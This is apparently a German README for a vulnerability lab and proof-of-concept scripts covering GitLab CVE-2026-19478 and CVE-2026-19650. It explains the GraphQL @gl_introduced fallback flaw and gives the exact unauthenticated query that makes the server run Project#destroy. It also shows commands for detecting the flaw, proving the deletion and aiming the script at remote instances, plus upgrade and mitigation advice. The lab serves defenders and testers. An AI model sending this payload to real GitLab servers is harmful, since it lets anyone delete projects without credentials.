
Reproduzierbares A/B-Lab + sicheres PoC für GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced: nicht authentifizierter Aufruf beliebiger Methoden (Validierungslabor + PoC)Reproduzierbares A/B-Labor und sicherer PoC für CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Kritisch). Ein nicht authentifizierter Angreifer kann beliebige 0-Argument-Ruby-Methoden auf GraphQL-aufgelösten Domänenobjekten aufrufen — z. B.
Project#destroyaufrufen, um ein öffentliches Projekt ohne Anmeldedaten zu löschen.Enthält außerdem einen PoC für die verwandte CVE-2026-19650 (GraphQL-Multiplex-Query-Tausch), die im selben Release behoben wurde.
Nur für autorisierte Sicherheitstests / zu Bildungszwecken. Alles läuft gegen Ihre eigenen lokalen Container.
GitLab liefert eine GraphQL-Client-Direktive @gl_introduced(version: "X.Y.Z") (Vorwärtskompatibilität für
Rolling Deploys). Wenn eine Abfrage ein Feld mit einer neueren Version als der laufende Server nennt, entfernt ein Tracer
(Gitlab::Graphql::VersionFilter::IntroducedTracer) es vor der , sodass die Abfrage
validiert wird. Danach führt der Server das Dokument zur Ausführung erneut aus und lässt unbekannte Felder auf einen Fallback auflösen.
Der Fehler liegt im Fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, vor dem Patch):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Ein GraphQL::Schema::Field ohne Resolver wird von graphql-ruby aufgelöst, indem
object.public_send(field_name) aufgerufen wird (graphql-ruby lib/graphql/schema/field.rb — der
respond_to?(@method_sym) → public_send-Zweig wird ausgeführt, bevor fallback_value überhaupt berücksichtigt wird, daher
war fallback_value: nil toter Code). Unter @gl_introduced wählt der Client also einen Feldnamen,
der einer beliebigen 0-Argument-Methode auf dem aktuell aufgelösten Objekt entspricht, und der Server führt ihn aus.
Löse ein öffentliches Projekt auf, fordere ein „Zukunftsfeld“ namens destroy an → der Server führt Project#destroy aus.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver, der nil zurückgibt und nie eine Methode aufruft.@gl_introduced(version:) muss größer als die Serverversion sein (verwende 99.0.0).to_param, destroy).id), sonst ist das gefilterte Dokument eine leere
Auswahlmenge und GitLab gibt einen Validierungsfehler "Field must have selections" zurück.Voraussetzungen: Docker + docker compose, ~8 GB freier RAM, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh gibt pro Instanz aus: die Basis-URL, den Pfad des angelegten öffentlichen Projekts (root/pub) und ein Admin-PAT.
Verwendet die Methodenaufruf-Primitive mit einer harmlosen Methode (to_param). Es werden keine Daten verändert.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Erwartet:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
bzw. auf der gepatchten Instanz:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Erstellt über die REST-API ein eigenes öffentliches Wegwerfprojekt (benötigt das Admin-Token aus setup.sh),
löscht es dann über den nicht authentifizierten GraphQL-Angriff und bestätigt, dass das Projekt verschwunden ist.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Erwartet (verwundbar):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
Auf der gepatchten Instanz meldet derselbe Lauf, dass das Projekt weiterhin 200 OK zurückgibt und destroy null ist.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Richte --url auf ein GitLab, das du testen darfst, und --project auf ein öffentliches Projekt darauf:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
Die Erkennung ist nicht destruktiv. Verwende --prove-destroy nicht gegen etwas, das dir nicht gehört.
Führe ein Upgrade auf 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 oder neuer durch. Der Fix leitet den Fallback über
Resolvers::NilResolver (gibt nil zurück, ruft nie eine Objektmethode auf). Wenn du nicht sofort aktualisieren kannst,
blockiere die @gl_introduced-Direktive / den Version-Filter-Pfad an einem Proxy oder schränke den nicht authentifizierten GraphQL-Zugriff ein.
| Datei | Zweck |
|---|---|
docker-compose.yml | Startet verwundbare 19.2.2-ce (:8222) + gepatchte 19.2.4-ce (:8224) |
setup.sh | Wartet auf Bereitschaft, legt öffentliches Projekt root/pub + Admin-Token pro Instanz an |
poc_cve_2026_19478.py | Erkennung (sicher) + optionaler --prove-destroy-Auswirkungsnachweis |
poc_cve_2026_19650.py | Multiplex-Query-Tausch-Erkennung (sicher) |
--prove-destroy erstellt und löscht ein eigenes Wegwerfprojekt; es berührt weder root/pub noch deine Daten.e283c6adeb3d (Fallback) und d2ea4b971a98 (Multiplex-Tausch) ab.